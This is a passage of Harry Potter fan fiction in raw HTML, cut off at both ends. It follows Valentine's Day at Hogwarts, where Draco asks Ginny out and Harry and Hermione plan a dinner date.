smirked.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius Black sneezed. &#8220;Someone must be talking about me&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh you&#8217;re just paranoid, Padfoot.&#8221; Lupin told him from the fire place. &#8220;Have you succeeded in the book yet?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius nodded. &#8220;Yeah, I have it copied. And I had to force the magic into a vial in the process.&#8221; He held up two test tubes. &#8220;We have to drink it at the same time and we&#8217;ll be able to talk telepathically, like we can in our animal forms.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good work. I can come meet you in two weeks then. That&#8217;s the next full moon. Plus that way I can still announce the next match Harry will be in.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius nodded. &#8220;See you then.&#8221; A click was heard. &#8220;Crap, the people living here are coming home!&nbsp; I have to run!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Careful, Padfoot!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Always am!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>The green fire in the fireplace was snuffed out as Sirius ran to the kitchen and opened the window, jumping out.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s weird, darling.&#8221; A female voice said, closing the window. &#8220;Did you leave this open?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I didn&#8217;t think so.&#8221; A male replied.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius sighed and looked around before sneaking off. &#8220;Damn and I wanted to snatch some food, too&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grinned as he snuck up on Hermione and wrapped his arms around her, getting a squeak from her startled frame. &#8220;Happy Valentine&#8217;s Day, love,&#8221; he whispered, moving the vase of roses so she could see them. &#8220;For you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione smiled brightly and took them. &#8220;Oh Harry, they&#8217;re beautiful!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron watched the two love birds and shook his head at them with a grin. He steadied himself and walked over to Lavender, who blushed when she saw his approaching figure. &#8220;Hey Ron,&#8221; she said, biting her lip and looking at the flowers in his hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Lavender,&#8221; he began, trying to search for words. After a moment, he settled for a simple &#8220;For you.&#8221; And handed her the vase of changing flowers.</p>\n\n<p>&nbsp;</p>\n\n<p>Lavender smiled brightly and accepted them. &#8220;Thank you.&#8221; She smelt them. &#8220;They&#8217;re lovely.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The only thing lovely here is you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She instantly went a darker shade of red. &#8220;Oh Ron&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grinned as he hugged Hermione. &#8220;Ron&#8217;s getting smooth over there. You hear that line?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione rolled her eyes. &#8220;It was cheesy.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And a lie.&#8221; Harry pulled back from her, enough to look into her eyes. &#8220;<i>You&#8217;re</i> the thing that&#8217;s lovely here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She melted. &#8220;Oh Harry&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny rolled her eyes at the lovey-dovey couples in the room and went back to reading her book. Well, she tried to at least. The moment she started to pick up where she left off, a brown school owl dropped a package on to her lap, as well as a note, before flying off. Blinking, she unwrapped the present and looked at it. A box of the most expensive chocolates on the market. &#8216;<i>Who would send me this</i>?&#8217; she wondered, opening the letter.</p>\n\n<p>&nbsp;</p>\n\n<p><i>Ginny,</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Yeah, yeah, I&#8217;ve never given a Valentine&#8217;s Day gift before and all that stuff. But, well, here you go anyway. I saw them while just browsing, that&#8217;s all. Just thought, maybe, you might like them.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~Draco</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Ginny bit back a smile. &#8216;<i>You don&#8217;t &#8216;just so happen&#8217; to see a box of this kind of chocolate in any store, Draco-hun, you have to specially order it.</i>&#8217; Just then a little, hastily written, section of the note seemed to stand out. She realized he had a P.S. written on it. </p>\n\n<p>&nbsp;</p>\n\n<p><i>P.S~ Will you go out with me this Friday?</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Ginny laughed and stood. &#8220;Ohhhh Haaaaaaaarry-sweetums!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked over Hermione&#8217;s head and gave a her a look. &#8220;What do you want?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny hugged him from behind. &#8220;You know me oh so well! Can I borrow Hedwig?&#8221; She held up a note. &#8220;I need to reply to someone and don&#8217;t want to walk all the way to the owlery.&#8221; Harry had taken his bird to his room a few days before so he would be able to send out a few letters to friends, as well as friendly valentines as well.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah sure.&#8221; Harry shrugged. &#8220;He&#8217;s in my room.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thankies!&#8221; She skipped up to the Prefect&#8217;s room and opened the door. Closing it behind her, she walked over to the bird in the cage and greeted him. &#8220;Hiya, Hedwig! Will you deliver a letter for me please?&#8221; Hedwig hooted at her to show that she wouldn&#8217;t mind it. &#8220;Thanks. Let me write it right fast.&#8221; She pulled out Hermione&#8217;s chair at her desk and started on her note.</p>\n\n<p>&nbsp;</p>\n\n<p><i>Draco,</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thanks for the chocolate, I love it! Careful not to spoil me now, I&#8217;m not used to such expensive gifts .I&#8217;ll savour them for a while, I will. About tomorrow night; ask me again tonight at dinner in person and we&#8217;ll just see about it okay?</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bye-bye,</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~Ginny</i></p>\n\n<p>&nbsp;</p>\n\n<p>Ginny re-read her letter and nodded before folding it and giving it to Hedwig. &#8220;Here you go.&#8221; She said with a smile. &#8220;Take this to Draco Malfoy. I think he should be in the Slytherin common room.&#8221; The snowy white owl hooted and nipped at her fingers before taking off out the window. As an after thought, she walked to the window and called after her. &#8220;And hurry back, it may rain tonight!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ouch.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hold still.&#8221; Jena chastised her prefect roommate as she plucked another stray eyebrow hair. &#8220;You&#8217;re the one who wanted me to do this for your date tomorrow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I said- ow- <i>possible</i> date. I don&#8217;t know if &#8211;ow- she&#8217;ll go with me or not.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Jena smoothed over his eyebrows and debated plucking a little more. &#8220;You&#8217;re a sweet boy, Draco, but you need a little more confidence, you know?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, whatever. You almost done, Jena?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I think so.&#8221; She let him sit up and looked him over. &#8220;Yes, you look nice now.&nbsp; What you <i>should</i> do is . . .&#8221;&nbsp;&nbsp; She looked at the window were a snowy owl just flew in. &#8220;Oh, look at that!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s Harry&#8217;s owl.&#8221; Draco noted. &#8220;I wonder what he wants?&#8221; The boy held out his arm and let Hedwig perch on him. He snatched the letter and let Hedwig fly off again. Opening it, he scanned the letter and gave a half smile. &#8220;It&#8217;s Ginny. She wants me to ask her in person.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco Malfoy! Do you mean to tell me you asked her in a <i>letter</i> once <i>again</i>!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco flushed. &#8220;Um, yeah?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She sighed at him. &#8220;What on earth am I going to do with you?&#8221; She pointed at him. &#8220;Tonight, I want you to ask her during dinner. Not before, not after, but <i>during</i>.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco shook his head, waving the note too. &#8220;Whoa, whoa <i>whoa</i>! In front of all the Gryffindors!? I&#8217;ll be the laughing stock of the school!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re already the laughing stock of almost all of Slytherin anyway. Why not go for gold and let this girl know you are really serious about it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco paused a moment to think. After a while, he realized that asking her out in notes was pretty lame. &#8220;God, I hate you.&#8221; He told her. &#8220;Why do you make so much damn sense all the time!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She smiled. &#8220;It&#8217;s why I&#8217;m here, sweets!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t call me sweets!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry shoveled rice into his mouth at a pace that shamed even the fastest of eaters. When the bowl hit the table and someone thought he was going to actually <i>breathe</i>, he picked up a chicken leg and ripped into it. His best male friend was doing just the same, eating and scarfing down everything in site. They each took a long drink from their goblet and returned to inhaling their food.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, let&#8217;s go out this Friday.&#8221; Hermione said out of the blue, cutting her steak and putting a bite into her mouth with a fork like a civilized human being.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm?&#8221; Harry pulled on the chicken leg in his mouth, tearing off another bite. &#8220;Where to?&#8221; he asked, mouth full.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You going to talk or eat?&#8221; She scolded him, making him pause and look embarrassed for a full three seconds before he turned and started eating again. &#8220;I should have known.&#8221; She sighed. &#8220;Harry, <i>stop eating</i> and <i>talk</i> to me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry obeyed her, letting Ron snag all the food he wanted. &#8220;Yes?&#8221; Harry asked after a drink and wiping his mouth. &#8220;You want to go somewhere? Hogsmeade?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let&#8217;s go out for dinner tomorrow. We haven&#8217;t even been on a single date together yet!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry considered it. &#8220;Yeah, you&#8217;re right. Hey, how about that nice place? Puer Duex? We have free meals there, remember?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded. &#8220;Sounds nice.&#8221; She smiled at him. &#8220;Around seven?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sounds nice.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Ginny.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron choked on his food and gasped, making Harry pound him on the back before he took a long drink to wash his food down.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny turned to the voice and saw Draco standing before &#8211; or rather behind- her. &#8220;Hey Draco. What can I do for you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well,&#8221; he began, all too aware of the Gryffindors giving him looks. &#8220;I was just wonder, since you wanted me to ask you in person that is, if, maybe, you would like to, you know&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Know what?&#8221; She asked coyly, making sure to show him that she knew exactly what he meant. &#8220;Come on, out with it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well . . .&#8221; He could <i>feel</i> Ron&#8217;s glare on him. He looked for help somewhere else, but then remembered where he was; with Gryffindors. Swallowing, he let it out. &#8220;Gooutwithmethisfriday.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;d love to.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You would!?&#8221; He coughed. &#8220;I mean, yeah. I&#8217;ll pick you up at your common room about seven thirty?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded. &#8220;Yeah. I&#8217;ll see you then.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;All right then.&#8221; He turned and walked a few steps before looking over his shoulder. &#8220;Wear something fancy. I&#8217;m taking you to Puer Duex.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Where</i>!?&#8221; Ginny asked, amazed. She turned to look back at him, but only saw the careless two finger wave as he walked away. She was also sure he was smirking. &#8220;Oh my gosh, that place must cost a <i>fortune</i>!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What place?&#8221; Hermione asked with a confused look. The trio had been too preoccupied helping out a strangling Ron to hear what Draco had asked her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, nowhere,&#8221; she replied, thinking it best not to let Ron know that Draco was taking her to a place as fancy as that for their first date. Although he didn&#8217;t say anything about their growing friendship, Ginny was sure that he was keeping it inside for her sake. Standing up, she smiled. &#8220;I&#8217;m full,&#8221; she declared, stretching. &#8220;I have a foot of parchment to write, so I&#8217;m taking my leave.&#8221; There were a few &#8216;g&#8217;bys&#8217; as she left, only pausing to pat her older brother on the head.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sure you don&#8217;t want to come, Ron?&#8221; Harry asked, tucking in his shirt in front of the mirror. &#8220;Hermione won&#8217;t mind a double date, I&#8217;m sure.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Can&#8217;t afford it man.&#8221; Ron waved him off. Harry was once again dressing in the seventh year boy&#8217;s dorm. &#8220;&#8217;sides, I didn&#8217;t make any plans with Lavender about it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, the manager said I could always have free food there because I stood up to big bad Voldie, so I&#8217;m assuming it means my friends too. I&#8217;ll ask the manager tonight if it&#8217;s cool if you get food as well.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re a pal, Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, I know.&#8221; He turned, &#8220;How do I look?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Muggleish, as usual.&#8221; Was the standard reply. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, I look snazzy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What <i>is</i> it with you and that word?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He heee!&#8221; Harry gave him a smile and turned to look into the mirror. He was wearing a fine silk long sleeved black button up shirt along with khaki pants and timberland shoes. He also had on one of Dudley&#8217;s old leather jackets that he had magicked, making it a perfect fit. His necklace clashed dreadfully with his outfit so he had told Celestial about his date and after a few good byes, he put it into his jacket pocket and instead wore a black choker beaded necklace. &#8220;Dang, I&#8217;m smooth.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah yeah.&#8221; Ron picked up his Herbology book. &#8220;I&#8217;ll go ahead and start on that dumb essay we have to write. The next Sorcerer&#8217;s Circle match is next weekend, luckily. I&#8217;ll see you later tonight?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Maybe, I&#8217;m not sure how long we&#8217;ll be out. If I&#8217;m lucky, maybe we&#8217;ll be able to go by floo to London and see a muggle movie.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A movie?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; Harry replied, not stopping to think he didn&#8217;t know what they were. &#8220;Dare Devil is supposed to be real good. I hope it&#8217;s still in theaters, though.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Theaters?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yup. We&#8217;ll I&#8217;m going to go meet her now. Take it easy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron shrugged the words off. &#8220;Always do. See ya, mate.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry waved over his shoulder as he walked out of the room and closed the door behind him. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hiya, Herms.&#8221; Harry greeted, seeing her already down stairs. &#8220;Wait long?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just got here,&#8221; she replied, smiling. &#8220;Not three seconds ago.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Figured as much, girls always take so long to get ready&#8230;&#8221; He allowed his eyes the pleasure of looking her over. &#8220;Wow, you look very nice.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked down at her skin tight red dress. &#8220;I do hope its okay. I mean, this <i>is</i> a fancy place we&#8217;re eating at.&#8221; She looked at him and blushed when he grinned at her earrings and light touch of muggle make up. &#8220;You just going to ogle me or are we going to go?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ogle.&#8221; He let his eyes trail to the cleavage of her dress, and let out a wolf whistle. Hermione quickly crossed her arms and glared.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You, Harry Potter, are sleeping alone 